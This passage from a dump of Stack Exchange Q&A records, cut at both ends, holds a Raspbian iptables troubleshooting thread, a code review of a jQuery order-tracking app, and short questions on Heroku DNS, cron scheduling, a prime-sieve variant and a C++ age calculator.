FIN,SYN,RST,PSH,ACK,URG FIN,PSH,URG -j DROP    -A INPUT -i eth0 -p tcp -m tcp --tcp-flags FIN,SYN,RST,PSH,ACK,URG FIN,SYN,RST,PSH,ACK,URG -j DROP    -A INPUT -i eth0 -p tcp -m tcp --tcp-flags FIN,SYN,RST,PSH,ACK,URG NONE -m limit --limit 5/min --limit-burst 7 -j LOG --log-prefix  NULL Packets     -A INPUT -i eth0 -p tcp -m tcp --tcp-flags FIN,SYN,RST,PSH,ACK,URG NONE -j DROP    -A INPUT -i eth0 -p tcp -m tcp --tcp-flags SYN,RST SYN,RST -j DROP    -A INPUT -i eth0 -p tcp -m tcp --tcp-flags FIN,SYN FIN,SYN -m limit --limit 5/min --limit-burst 7 -j LOG --log-prefix  XMAS Packets     -A INPUT -i eth0 -p tcp -m tcp --tcp-flags FIN,SYN FIN,SYN -j DROP    -A INPUT -i eth0 -p tcp -m tcp --tcp-flags FIN,ACK FIN -m limit --limit 5/min --limit-burst 7 -j LOG --log-prefix  Fin Packets Scan     -A INPUT -i eth0 -p tcp -m tcp --tcp-flags FIN,ACK FIN -j DROP    -A INPUT -i eth0 -p tcp -m tcp --tcp-flags FIN,SYN,RST,PSH,ACK,URG FIN,SYN,RST,ACK,URG -j DROP    -A INPUT -i eth0 -m pkttype --pkt-type broadcast -j LOG --log-prefix  Broadcast     -A INPUT -i eth0 -m pkttype --pkt-type broadcast -j DROP    -A INPUT -i eth0 -m pkttype --pkt-type multicast -j LOG --log-prefix  Multicast     -A INPUT -i eth0 -m pkttype --pkt-type multicast -j DROP    -A INPUT -i eth0 -m state --state INVALID -j LOG --log-prefix  Invalid     -A INPUT -i eth0 -m state --state INVALID -j DROP    -A INPUT -d 192.168.0.17/32 -i eth0 -p tcp -m tcp --dport 22 -j ACCEPT    -A INPUT -i eth0 -p tcp -m tcp --dport 80 -m state --state NEW,ESTABLISHED -j ACCEPT    # ACEPTAR SALIDAS POR EL 80 Y POR EL 443    #-A INPUT -i eth0 -p tcp -m tcp --sport 80 -m state --state NEW,ESTABLISHED -j ACCEPT     #-A INPUT -i eth0 -p tcp -m tcp --sport 443 -m state --state ESTABLISHED -j ACCEPT    -A INPUT -i eth0 -p tcp -m tcp --dport 443 -m state --state NEW,ESTABLISHED -j ACCEPT    -A INPUT -i eth0 -p icmp -m icmp --icmp-type 8 -m state --state NEW,RELATED,ESTABLISHED -m limit --limit 30/sec -j ACCEPT    -A INPUT -i eth0 -p udp -m udp --sport 53 -m state --state ESTABLISHED -j ACCEPT    -A INPUT -i eth0 -p udp -m udp --sport 123 -m state --state ESTABLISHED -j ACCEPT    -A INPUT -i eth0 -p tcp -m tcp --sport 25 -m state --state ESTABLISHED -j ACCEPT    -A INPUT -m limit --limit 5/min --limit-burst 7 -j LOG --log-prefix  DEFAULT DROP     -A INPUT -j DROP    -A FORWARD -j spooflist    -A OUTPUT -j spooflist    -A OUTPUT -o lo -j ACCEPT    -A OUTPUT -s 192.168.0.17/32 -o eth0 -p tcp -m tcp --sport 22 -j ACCEPT    #-A OUTPUT -o eth0 -p tcp -m tcp --dport 53 -m state --state NEW -j ACCEPT     -A OUTPUT -o eth0 -p tcp -m tcp --dport 21 -m state --state NEW,ESTABLISHED -j ACCEPT    -A OUTPUT -o eth0 -p tcp -m tcp --dport 20 -m state --state ESTABLISHED -j ACCEPT    -A OUTPUT -o eth0 -p tcp -m tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT    # ACEPTAR SALIDAS POR EL 80 Y POR EL 443    #-A OUTPUT -o eth0 -p tcp -m tcp --dport 80 -m state --state NEW,ESTABLISHED -j ACCEPT     #-A OUTPUT -o eth0 -p tcp -m tcp --dport 443 -m state --state NEW,ESTABLISHED -j ACCEPT    -A OUTPUT -o eth0 -p tcp -m tcp --sport 443 -m state --state ESTABLISHED -j ACCEPT    -A OUTPUT -o eth0 -p icmp -m icmp --icmp-type 0 -m state --state RELATED,ESTABLISHED -j ACCEPT    -A OUTPUT -o eth0 -p udp -m udp --dport 53 -m state --state NEW,ESTABLISHED -j ACCEPT    -A OUTPUT -o eth0 -p udp -m udp --dport 123 -m state --state NEW,ESTABLISHED -j ACCEPT    -A OUTPUT -o eth0 -p tcp -m tcp --dport 25 -m state --state NEW,ESTABLISHED -j ACCEPT    COMMITThe iptables -L -n output:Chain INPUT (policy DROP)target     prot opt source               destinationDROP       tcp  --  0.0.0.0/0            0.0.0.0/0            tcp dpt:22 state NEW recent: UPDATE seconds: 90 hit_count: 4 name: DEFAULT side: source           tcp  --  0.0.0.0/0            0.0.0.0/0            tcp dpt:22 state NEW recent: SET name: DEFAULT side: sourcespooflist  all  --  0.0.0.0/0            0.0.0.0/0ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0DROP       tcp  --  0.0.0.0/0            0.0.0.0/0            tcpflags:! 0x17/0x02 state NEWDROP       all  -f  0.0.0.0/0            0.0.0.0/0DROP       tcp  --  0.0.0.0/0            0.0.0.0/0            tcpflags: 0x3F/0x29DROP       tcp  --  0.0.0.0/0            0.0.0.0/0            tcpflags: 0x3F/0x3FLOG        tcp  --  0.0.0.0/0            0.0.0.0/0            tcpflags: 0x3F/0x00 limit: avg 5/min burst 7 LOG flags 0 level 4 prefix  NULL Packets DROP       tcp  --  0.0.0.0/0            0.0.0.0/0            tcpflags: 0x3F/0x00DROP       tcp  --  0.0.0.0/0            0.0.0.0/0            tcpflags: 0x06/0x06LOG        tcp  --  0.0.0.0/0            0.0.0.0/0            tcpflags: 0x03/0x03 limit: avg 5/min burst 7 LOG flags 0 level 4 prefix  XMAS Packets DROP       tcp  --  0.0.0.0/0            0.0.0.0/0            tcpflags: 0x03/0x03LOG        tcp  --  0.0.0.0/0            0.0.0.0/0            tcpflags: 0x11/0x01 limit: avg 5/min burst 7 LOG flags 0 level 4 prefix  Fin Packets Scan DROP       tcp  --  0.0.0.0/0            0.0.0.0/0            tcpflags: 0x11/0x01DROP       tcp  --  0.0.0.0/0            0.0.0.0/0            tcpflags: 0x3F/0x37LOG        all  --  0.0.0.0/0            0.0.0.0/0            PKTTYPE = broadcast LOG flags 0 level 4 prefix  Broadcast DROP       all  --  0.0.0.0/0            0.0.0.0/0            PKTTYPE = broadcastLOG        all  --  0.0.0.0/0            0.0.0.0/0            PKTTYPE = multicast LOG flags 0 level 4 prefix  Multicast DROP       all  --  0.0.0.0/0            0.0.0.0/0            PKTTYPE = multicastLOG        all  --  0.0.0.0/0            0.0.0.0/0            state INVALID LOG flags 0 level 4 prefix  Invalid DROP       all  --  0.0.0.0/0            0.0.0.0/0            state INVALIDACCEPT     tcp  --  0.0.0.0/0            192.168.0.17         tcp dpt:22ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            tcp dpt:80 state NEW,ESTABLISHEDACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            tcp dpt:443 state NEW,ESTABLISHEDACCEPT     icmp --  0.0.0.0/0            0.0.0.0/0            icmptype 8 state NEW,RELATED,ESTABLISHED limit: avg 30/sec burst 5ACCEPT     udp  --  0.0.0.0/0            0.0.0.0/0            udp spt:53 state ESTABLISHEDACCEPT     udp  --  0.0.0.0/0            0.0.0.0/0            udp spt:123 state ESTABLISHEDACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            tcp spt:25 state ESTABLISHEDLOG        all  --  0.0.0.0/0            0.0.0.0/0            limit: avg 5/min burst 7 LOG flags 0 level 4 prefix  DEFAULT DROP DROP       all  --  0.0.0.0/0            0.0.0.0/0Chain FORWARD (policy DROP)target     prot opt source               destinationspooflist  all  --  0.0.0.0/0            0.0.0.0/0Chain OUTPUT (policy DROP)target     prot opt source               destinationspooflist  all  --  0.0.0.0/0            0.0.0.0/0ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0ACCEPT     tcp  --  192.168.0.17         0.0.0.0/0            tcp spt:22ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            tcp dpt:21 state NEW,ESTABLISHEDACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            tcp dpt:20 state ESTABLISHEDACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            tcp spt:80 state ESTABLISHEDACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            tcp spt:443 state ESTABLISHEDACCEPT     icmp --  0.0.0.0/0            0.0.0.0/0            icmptype 0 state RELATED,ESTABLISHEDACCEPT     udp  --  0.0.0.0/0            0.0.0.0/0            udp dpt:53 state NEW,ESTABLISHEDACCEPT     udp  --  0.0.0.0/0            0.0.0.0/0            udp dpt:123 state NEW,ESTABLISHEDACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            tcp dpt:25 state NEW,ESTABLISHEDChain spooflist (3 references)target     prot opt source               destination"  , "title": "The Iptables dont allow update the system"  , "tags": "iptables;raspbian"  , "accepted_answer": "You don't have any rules that allow outgoing pings (ICMP echo-request - type 8). You only have a single rule that allows ICMP echo reply.Additionally most of your --state matches are useless. With --state NEW,ESTABLISHED you might as well not use --state at all, as there's only 2 possible states, NEW and ESTABLISHED. Yes there is RELATED but related is also going to be new or established.Also you can simplify this ruleset immensely by adding a single -A INPUT -m state --state RELATED,ESTABLISHED at the top instead of having to do every single port individually."  } 
{  "id": "_codereview.77843"  , "question": "For a quick summary: I've created this internal web application, and I've hit a point where I can really see the mess I've made. I need some help separating the logic, the view, and the data.More detail: Over the past few months, I've been doing all I can to learn more about JavaScript built web sites/applications. I've created the below code, and it seems as though any additions are just ruining the entire thing. This is the fourth time I've started from scratch on this, and I can't get a product I really like.Now, it works as it should, I just don't like the way it's built. I tried using Angular.js, but that was over-kill for this single page app (plus working with the routing was nightmarish). Now I've just created this mess of a main.js file, and it needs refactoring.It'd be great if we could avoid suggesting tools requiring node.js.index.html<!DOCTYPE html><html>    <head>        <!-- Basic Page Needs         -->        <meta charset=utf-8>        <title>Pies</title>        <meta name=description content=>        <meta name=author content=>        <!-- Mobile Specific Metas         -->        <meta name=viewport content=width=device-width, initial-scale=1>        <!-- FONT         -->        <link href=//fonts.googleapis.com/css?family=Raleway:400,300,600 rel=stylesheet type=text/css>        <!-- SCRIPTS         -->        <script src=//ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.js></script>        <script src=scripts/main.js></script>        <!-- CSS         -->        <link rel=stylesheet href=css/normalize.css>        <link rel=stylesheet href=css/skeleton.css>        <link rel=stylesheet href=css/main.css>    </head>    <body>        <div class=container>            <header class=row>                <div class=twelve columns>                    <h1>Pies</h1>                </div>            </header>            <div class=row>                <div class=six columns id=newOrderContainer>                    <h2>New Order?</h2>                    <span class=response success>Successfully created!</span>                    <span class=response fail>Something went wrong, try again later.</span>                    <form id=newOrderForm>                        <label for=customerName>Customer name</label>                        <input class=u-full-width type=text id=customerName>                        <label for=dueDate>Due date (optional)</label>                        <input type=date id=dueDate/>                        <div class=flavorSelector u-full-width></div>                    </form>                </div>                <div class=six columns>                    <h2>Payments</h2>                </div>            </div>            <div class=row>                <div class=twelve columns id=ordersContainer>                    <h2>Orders</h2>                    <span class=response success>Successfully paid!</span>                    <span class=response fail>Something went wrong, try again later.</span>                    <div id=ordersTableContainer>                        <table class=u-full-width>                            <thead>                                <tr>                                    <th>Name</th>                                    <th>Priority</th>                                    <th>Flavor</th>                                    <th>Payment</th>                                </tr>                            </thead>                            <tbody></tbody>                        </table>                    </div>                </div>            </div>            <div class=row>                <div class=u-full-width>                    <h2>Settings</h2>                </div>            </div>            <div class=row>                <div class=four columns id=newFlavorContainer>                    <h3>New Flavor</h3>                    <span class=response success>Successfully added!</span>                    <span class=response fail>Something went wrong, try again later.</span>                    <form id=newFlavorForm>                        <label for=newFlavor>Flavor</label>                        <input class=u-full-width type=text placeholder=Apple, pecan, etc. id=newFlavor>                        <div class=button style=display: block;>                            Add New Flavor                        </div>                    </form>                </div>                <div class=eight columns id=flavorEditContainer>                    <h3>Existing Flavors</h3>                    <div id=flavorsTableContainer>                        <table class=u-full-width>                            <thead>                                <tr>                                    <th>Flavor</th>                                    <th>Delete</th>                                </tr>                            </thead>                            <tbody></tbody>                        </table>                    </div>                </div>            </div>        </div>    </body></html>There's our main page. I've used the Skeleton CSS boilerplate.main.js$(document).ready(function() {    $.get(scripts/appdata.json, function(data) {        $(.flavorSelector).each(function() {            for (flavor in data.flavors) {                $(this).append('<div class=button style=width: 60%>' + flavor + '</div>');            }        });        for (order in data.orders) {            var details = data.orders[order];            if (details.paid === false) {                $(#ordersTableContainer tbody).append(newOrderRow(order, details));            }        }        for (flavor in data.flavors) {            $(#flavorsTableContainer tbody).append(newFlavorRow(flavor));        }        $(#newOrderForm div.button).click(function() {            var pdata = {                action : newOrder,                name : $(#customerName).val(),                due : $(#dueDate).val(),                flavor : $(this).text()            };            $.post(scripts/server.php, pdata, function(data) {                if (data != true) {                    $(#newOrderContainer > span.fail).show().delay(5000).fadeOut(600, function() {                        $(this).hide();                    });                } else {                    $(#customerName).val();                    $(#dueDate).val();                    fetchOrders();                    $(#newOrderContainer > span.success).show().delay(5000).fadeOut(600, function() {                        $(this).hide();                    });                }            });        });        $(.payment-form div.button).click(function() {            var pdata = {                action : payOrder,                hash : $(this).parents(tr).data(hash),                paid : $(this).siblings(input).val()            };            $.post(scripts/server.php, pdata, function(data) {                if (data != true) {                    $(#ordersContainer > span.fail).show().delay(5000).fadeOut(600, function() {                        $(this).hide();                    });                } else {                    $(tr[data-hash= + pdata[hash] + ]).fadeOut(600, function() {                        $(this).remove();                    }).delay(1000);                    $(#ordersContainer > span.success).show().delay(5000).fadeOut(600, function() {                        $(this).hide();                    });                }            });        });    }, 'json');    $(#newFlavorForm div.button).click(function() {        var pdata = {            action : newFlavor,            flavor : $(#newFlavorForm input[type=text]).val()        };        $.post(scripts/server.php, pdata, function(data) {            if (data != true) {                $(#newFlavorContainer > span.fail).show().delay(5000).fadeOut(600, function() {                    $(this).hide();                });            } else {                $(#newFlavorForm input[type=text]).val();                $(#newFlavorContainer > span.success).show().delay(5000).fadeOut(600, function() {                    $(this).hide();                });            }        });    });});function newOrderRow(hash, data) {    var name = data.name, flavor = data.flavor, paymentForm = <form class='payment-form'><input type='text'/><div class='button paid'>Paid</div></form>;    var priority = <div class='priority' style='background:  + getPriority(Math.floor(Date.now() / 1000), data.made, data.due) + '></div>;    return <tr data-hash=' + hash + '><td> + name + </td><td> + priority + </td><td> + flavor + </td><td> + paymentForm + </td></tr>;}function newFlavorRow(flavor) {    return <tr><td><input type='text' value=' + flavor + '/></td><td><span>Delete</span></td></tr>;}function getPriority(now, made, due) {    var colors = [#A30E0E, #FF9401, #6FBF0D];    var marks = [172800, 64800, 0];    var elapsed = now - made;    if (due == ) {        for (var i = 0; i < marks.length; i++) {            if (elapsed > marks[i]) {                return colors[i];            }        }    }    var until = due - now;    var i = 0;    colors.reverse();    for (var i = 0; i < marks.length; i++) {        console.log(until, >, marks[i], i);        if (until > marks[i]) {            return colors[i];        }    }}I know, it's bad. Everything is mixed together, and I don't know what to do! Suggestions for architectures would be great, but if you could help me fit this into some framework, then would be great too.Right now, I've got the data stored in a JSON file. I'd prefer not to have it in an RDBMS like MySQL, but I've never worked with anything else so I'm open to suggestions!The data I have is looking like this:{    flavors: {        Berry: ,        Apple: ,        Pecan:     },    orders: {        43d133ecaed389cf527c93117fc29969: {            name: Customer1,            flavor: Berry,            made: 1421471493,            due: 1421884800,            paid: false        },        4bb7e6668a2a63d32a7487267128d406: {            name: Customer2,            flavor: Pecan,            made: 1421471572,            due: 1421884800,            paid: false        }    }}I had some data being paired with flavors, but I got rid of that feature.Is there any chance I can turn this project into something scalable, fast, and modern?"  , "title": "Order a delicious pie here"  , "tags": "javascript;html;mvc"  , "accepted_answer": "First of all I'd like to congratulate you on the HTML part, that one looks clean and takes almost all best practices into consideration. I say 'almost' since ... yeah well ... these days people argue you should put script tags before the </body> tag. This to avoid http stalling the reflow of the browser. Oh well, for simple applications leave it like that. If you want to scale up and add more libraries in the future, you might consider moving the scripts to the bottom.Next one then, the JavaScript part. If you say it works, well done!You say it looks ugly ... ? Do you also know why? Let me sum that up for you just to make sure we're on the same page:logic mixed with strings is a nono if you want to write beautiful code => configurable stringsthe templating is kinda hard-coded into the logic => templating systemthe use of globally defined functions => closurethe amount of iterations (not sure if I can reduce them, we'll see along the way) => best practices in DOM appendingno function describes what the main part is (this becomes essential once you scale up) => modular approachYou don't want to use some additional libraries for this piece of code? I totally agree! You sound like a good decision maker, now you need a little push in the right direction.So ... I've been spreading my logic here and there over stackoverflow/codereview and I believe it will help you too. Please read them as I'm not going to copy/paste the whole idea again. I will provide refactored code and the extra information I'm sure you can take that from some of those answers I've linked.I use Re-Sharper for JavaScript and I like it green (read: jshint valid) so let me tell you what goes wrong even though your code works:ln 24 & 45: Declaration hides parameter data from outer scopeln 32: Use of an implicitly declared global variable 'fetchOrders' (assuming this is a  false positive)ln 95 102 104: Duplicate declarationln 102: Value assigned is not used in any execution pathln 110: Not all code paths return a value So this is how I do it. Take the time to compare the approach below with my previously posted answers. It's actually the same stuff over and over again. Once you get the hang of it, you'll notice the benefit of object literals and how to extend/configure YOUR OWN library.window.DeliciousPie = (function ($, project) {    // 1. CONFIGURATION    var cfg = {        cache: {            container: '[data-component=orderpie]',            flavors: '.flavorSelector',            flavorsTable: '#flavorsTableContainer tbody',            flavorForm: '#newFlavorForm',            flavorFormInputs: 'input[type=text]',            flavorSuccess: '#newFlavorContainer > span.success',            ordersTable: '#ordersTableContainer tbody',            orderForm: '#newOrderForm',            orderSuccess: '#newOrderContainer > span.success',            orderFail: '#newOrderContainer > span.fail',            dueDate: '#dueDate',            customerName: '#customerName',            paymentForm: '.payment-form',            paymentSuccess: '#ordersContainer > span.success',            paymentFail: '#ordersContainer > span.fail',            formTarget: 'div.button'        },        data: {            hash: 'hash'        },        events: {            click: 'click'        },        tpl: {            flavor: '<div class=button style=width: 60%>{{flavor}}</div>',            paymentForm: '<form class=payment-form><input type=text/><div class=button paid>Paid</div></form>',            priority: '<div class=priority style=background: {{priority}}></div>',            orderRow: '<tr data-hash={{hash}}><td>{{name}}</td><td>{{priority}}</td><td>{{flavor}}</td><td>{{paymentForm}}</td></tr>',            flavorRow: '<tr><td><input type=text value={{flavor}}/></td><td><span>Delete</span></td></tr>'        },        ajaxOptions: {            get: {                url: 'scripts/appdata.json',                dataType: 'json'            },            post: {                flavor: {                    url: 'scripts/server.php',                    data: {                        action: 'newFlavor'                    }                },                order: {                    url: 'scripts/server.php',                    data: {                        action: 'newOrder'                    }                },                pay: {                    url: 'scripts/server.php',                    data: {                        action: 'payOrder'                    }                }            }        },        priorityOptions: {            colors: ['#A30E0E', '#FF9401', '#6FBF0D'],            marks: [172800, 64800, 0]        }    };    // 2. ADDITIONAL FUNCTIONS    /**     * @description Render html template with json data     * @see handlebars or mustache if you need more advanced functionality     * @param {Object} obj     * @param {String} template : html template with {{keys}} matching the object     * @return {String} template : the template string replaced by key:value pairs from the object     */    function renderTemplate(obj, template) {        var tempKey, reg, key;        for (key in obj) {            if (obj.hasOwnProperty(key)) {                tempKey = String({{ + key + }});                reg = new RegExp(tempKey, g);                template = template.replace(reg, obj[key]);            }        }        return template;    }    // 3. COMPONENT OBJECT    project.OrderPie = {        version: 0.1,        init: function () {            this.cacheItems();            if (this.container.length) {                this.getData();                this.bindEvents();            }        },        cacheItems: function () {            var cache = cfg.cache;            this.container = $(cache.container);            this.flavors = $(cache.flavors);            this.flavorsTable = $(cache.flavorsTable);            this.flavorForm = $(cache.flavorForm);            this.flavorFormInputs = this.flavorForm.find(cache.flavorFormInputs);            this.flavorSuccess = $(cache.flavorSuccess);            this.flavorFail = $(cache.flavorFail);            this.ordersTable = $(cache.ordersTable);            this.orderForm = $(cache.orderForm);            this.dueDate = $(cache.dueDate);            this.customerName = $(cache.customerName);            this.orderSuccess = $(cache.orderSuccess);            this.orderFail = $(cache.orderFail);            this.paymentForm = $(cache.paymentForm);            this.paymentSuccess = $(cache.paymentSuccess);            this.paymentFail = $(cache.paymentFail);        },        bindEvents: function () {            var self = this,                cache = cfg.cache,                data = cfg.data,                events = cfg.events,                ajaxOptions = cfg.ajaxOptions;            this.flavorForm.on(events.click, cache.formTarget, function () {                var options = $.extend({}, ajaxOptions.post.flavor, {                    data: {                        flavor: self.flavorFormInputs.val()                    }                });                $.ajax(options).done(function (flavorData) {                    if (flavorData) {                        self.flavorFormInputs.val('');                        self.flavorSuccess.show().delay(5000).hide(600);                    }                }).fail(function () {                    self.flavorFail.show().delay(5000).hide(600);                });            });            this.orderForm.on(events.click, cache.formTarget, function () {                var options = $.extend({}, ajaxOptions.post.order, {                    data: {                        name: self.customerName.val(),                        due: self.dueDate.val(),                        flavor: $(this).text()                    }                });                $.ajax(options).done(function (orderData) {                    if (orderData) {                        self.customerName.val('');                        self.dueDate.val('');                        self.fetchOrders();                        self.orderSuccess.show().delay(5000).hide(600);                    }                }).fail(function () {                    self.orderFail.show().delay(5000).hide(600);                });            });            this.paymentForm.on(events.click, cache.formTarget, function () {                var options = $.extend({}, ajaxOptions.post.order, {                    data: {                        hash: $(this).closest('tr').data(data.hash),                        paid: $(this).siblings('input').val()                    }                });                $.ajax(options).done(function (paymentData) {                    if (paymentData) {                        $('[data-hash=' + options.data.hash + ']').hide(600).delay(1000).remove();                        self.paymentSuccess.show().delay(5000).hide(600);                    }                }).fail(function () {                    self.paymentFail.show().delay(5000).hide(600);                });            });        },        getData: function () {            var self = this;            $.ajax(cfg.ajaxOptions.get).done(function (data) {                if (data.hasOwnProperty('flavors')) {                    self.setFlavors(data.flavors);                }                if (data.hasOwnProperty('orders')) {                    self.setOrders(data.orders);                }            });        },        setFlavors: function (dataFlavors) {            var tpl = cfg.tpl.flavor,                rows = [],                arr = [];            this.flavors.each(function () {                for (var flavor in dataFlavors) {                    arr.push(renderTemplate(flavor, tpl));                    rows.push(this.addFlavorRow(flavor));                }                $(this).append(arr);                this.flavorsTable.append(rows);            });        },        setOrders: function (dataOrders) {            var details,                rows = [];            for (var order in dataOrders) {                if (dataOrders.hasOwnProperty(order)) {                    details = dataOrders[order];                    if (!details.paid) {                        rows.push(this.addOrderRow(order, details));                    }                }            }            this.ordersTable.append(rows);        },        addOrderRow: function (hash, data) {            var tplVars = $.extend({}, data, {                paymentform: cfg.tpl.paymentForm,                priority: getPriority(Math.floor(+(new Date) / 1000), data.made, data.due),                hash: hash            });            return renderTemplate(tplVars, cfg.tpl.orderRow);        },        addFlavorRow: function (flavor) {            return renderTemplate({flavor: flavor}, cfg.tpl.flavorRow);        },        getPriority: function (now, made, due) {            var priorityOptions = cfg.priorityOptions,                colors = priorityOptions.colors,                marks = cfg.priorityOptions.marks,                elapsed = now - made,                until = due - now;            if (!due) {                for (var i = 0; i < marks.length; i++) {                    if (elapsed <= marks[i]) {                        continue;                    }                    return colors[i];                }            }            colors.reverse();            for (var j = 0; j < marks.length; j++) {                console.log(until, >, marks[j], j);                if (until <= marks[j]) {                    continue;                }                return colors[j];            }        },        fetchOrders: function () {            console.warn('not implemented function');        }    };    // 4. GLOBALIZE NAMESPACE    return project;}(window.jQuery, window.DeliciousPie || {}));Once this file is loaded, you can call DeliciousPie.OrderPie.init() on DOM ready and you're good to order some pie (or whatever it is :p)What you gain with this approach:configurable objectsextendable objects (multiple HTML classes, activated by JavaScript, with different config if needed)separation of concernsscalable/modular approachevent controlreflow optimizationmemory optimizationbetter readabilityan easy templating sytem for free (no additional libraries required ^^)RESPEC(t) from your colleaguesI can invent some more, but all in all, quality code1) OverheadWhen a lot of components/modules are loaded from one file and let's say you have a lot of pages ... the overhead you create for undetected modules/components:cfg variable => so try to keep strings in it and only extend cfg in a methodcacheItems() => depends on the speed of your selectors and sizzleinit() method checking the length of the containerSo scalability wise this performs very well. Remember JavaScript in itself is really fast. It's the DOM that slows down quite a lot. For that reason it could be interesting to split-up the cacheItems.2) TemplatingThe templating in my example is also not ideal. It's very basic but also puts HTML into JavaScript and then you can argue that separation of concerns doesn't apply to this approach. Hence the whole script idea seen in Handlebars/Mustache which covers that.However, I would only take that approach if logic in templating is required {{if}}{{else}}{{/if}}. For string replacement only, keep it simple. Extra logics for the templates while looping can be done inside a specific function as well (ex: addOrderRow, addFlavorRow). Besides, you can always leave a comment <!-- js rendering --> inside your HTML as well ... As suggested in the comments: you can create a hidden class or with a data- attribute and pick those chunks up.Some additional reads:JavaScript Module PatternIf I find some time I'll try to test this as well. Probably you'll need to add the flavor data back in there for the templating sytem. And a data-component=orderpie on the main wrapper to kick it in. I hope you are familiar with debugging tools. If not, at least I hope you'll learn a thing or 4. GL!"  } 
{  "id": "_webmaster.101296"  , "question": "The issueHey guys, I'm having some issues concerning my website ( http://colegiojeffersontoday.com ). The issue is that although the custom domain works upon first entering the website, for some reason, the domain reverts back to the default heroku app domain whenever you click a link within the website itself. http://desolate-ocean-81838.herokuapp.com. Regarding the DNS settingsIn terms of DNS settings, all I did was add the domains colegiojeffersontoday.com and news.colegiojeffersontoday.com to heroku cli. On the 1and1 domain manager I edited the DNS by adding the subdomain news to apply a cname to it. The idea is that the root domain redirects to the subdomain which has the cname linked to it. Apologies if that sounds confusing.Thank you so much for your help"  , "title": "Heroku app + 1and1 domains - Custom domain name switches back to default heroku app's domain on click within the web app"  , "tags": "domains;dns;heroku;1and1"  } 
{  "id": "_unix.191646"  , "question": "I'd like to run a command at startup which pings a certain address every 10 minutes and writes the result to a file. I've figured out now how to do the pinging and file writing and the 10 min intervals:while true; do my-command-here; sleep 600; doneMy question is, can I put this in /etc/init.d/rc.local or should I be putting it in /etc/rc.local or somewhere else entirely? I'm specifically concerned because it's an infinite loop so I'm not sure if I could put it in one of these startup scripts.Some help would be appreciated. I'm using Ubuntu 12.04.5"  , "title": "Running an infinite loop on startup"  , "tags": "startup;ping"  , "accepted_answer": "This isn't really an infinite loop; it's a task that needs to run every ten minutes. As such the task can go into the task scheduler, cron.Run the command crontab -e and add this single line to the bottom of the file:*/10 * * * * /path/to/my-command-hereEnsure that my-command-here is an executable script (chmod u+x my-command-here) and that its first line starts with #! and the name of the script interpreter (typically #!/bin/bash).Each entry in the pattern */10 * * * * maps to the minute(0-59), hour(0-23), day(1-31), month(1-12), and day of week(0-6, with 0=Sunday)."  } 
{  "id": "_cs.25914"  , "question": "Does the following recursive algorithm have a name? If so, what is it?procedure main(): myFilter = new Filter( myPrime = 2 ) //first prime number print 2 //since it would not otherwise be printed for each n in 3 to MAX:  if myFilter.isPrime(n):   print nobject Filter: integer myPrime PrimeFilter nextFilter = NULL procedure isPrime(integer n):  if n is multiple of myPrime:   return FALSE  else if nextFilter is not NULL:   return nextFilter.isPrime(n)  else   nextFilter = new PrimeFilter(myPrime = n)   return TRUESample implementation in Java hereThis is similar to the Sieve of Eratosthenes though after some discussion in the CS chat, we decided that it is subtly different."  , "title": "What is the name of this prime number algorithm?"  , "tags": "algorithms;reference request;primes"  , "accepted_answer": "O'Neil [1] call this the unfaithful sieve. It's much slower than the sieve of Eratosthenes.For each prime $p$ you do work $\\sim p/\\log p$ and so the total number of divisions up to $x$ is roughly $x^2/(2\\log^2 x)$ if you assume composites are free. (That's essentially true: they take at most $2\\sqrt x/\\log x$ divisions each for a total of at most $2x^{3/2}/\\log x$ divisions.)Divisions take longer than unit time, so the total bit complexity is about $O(x^2\\log\\log x/\\log x)$.[1] Melissa E. ONeill, The Genuine Sieve of Eratosthenes"  } 
{  "id": "_codereview.124898"  , "question": "I am a high school math and science teacher.  I am working with my students on the concepts of algorithms, unit conversions, and functions.  In class, to work on all these concepts, we just worked out the process of how to calculate how old someone is in seconds.  I thought this was a particularly interesting algorithm to feed to a computer, so I spent the next couple of days working on this in my spare time.I have not sanitized my user input or done any internal error checking, and the code assumes they were born at exactly 00:00:00 on their day of birth.  Laziness on my party, I guess.  I am most concerned with Is there a better way to calculate my days offset?  This is either the number of days until their birthday this year or since their birthday this year.  There is a specific function or three for this, as you can see below in the code.Additionally, are there any bits of particularly cringy (my term) code?I had to google how to get current date and time (c++ date time, first link).  So I totally just stole that bit of code.Thank you very much.  I tried to comment clearly, but occasionally I might have been less commenty than desirable./* * For use by absolutely anyone for absolutely any reason. *//*  * File:   main.cpp * Author: Wayman Bell III * * Created on March 31, 2016 */#include <iostream>#include <ctime>using namespace std;int getTheYear();int getTheMonth();int getTheDay();int getTheHour();int getTheMinute();int getTheSecond();int countLeapYears(int, int);int welcome();int calcAgeInSeconds(int, int, int);int calcOffset(int, int);int calcDaysRemainingThisYear(int, int);int calcDaysSinceBDay(int, int);int main(int argc, char** argv) {    welcome();    return 0;}int getTheYear( ) //Retrieve current year{   // current date/time based on current system   time_t now = time(0);   tm *ltm = localtime(&now);   return (1900+ltm->tm_year); // print various components of tm structure.   /*cout << Year: << 1900 + ltm->tm_year << endl;*/}int getTheMonth() //Retrieve current month{    // current date/time based on current system   time_t now = time(0);   tm *ltm = localtime(&now);   return (1+ltm->tm_mon); // print various components of tm structure.   /*cout << Month: << 1 + ltm->tm_mon<< endl;*/}int getTheDay() //Retrieve current day of month{    // current date/time based on current system   time_t now = time(0);   tm *ltm = localtime(&now);   return (ltm->tm_mday); // print various components of tm structure.   /*cout << Day: <<  ltm->tm_mday << endl;*/}int getTheHour() //Retrieve current hour{    // current date/time based on current system   time_t now = time(0);   tm *ltm = localtime(&now);   return (1+ltm->tm_hour); // print various components of tm structure.   /*cout << Time: << 1 + ltm->tm_hour << :;*/}int getTheMinute() //Retrieve current minute{    // current date/time based on current system   time_t now = time(0);   tm *ltm = localtime(&now);   return (1+ltm->tm_min); // print various components of tm structure.   /*cout << 1 + ltm->tm_min << :;*/}int getTheSecond() //Retrieve current second{    // current date/time based on current system   time_t now = time(0);   tm *ltm = localtime(&now);   return (1+ltm->tm_sec); // print various 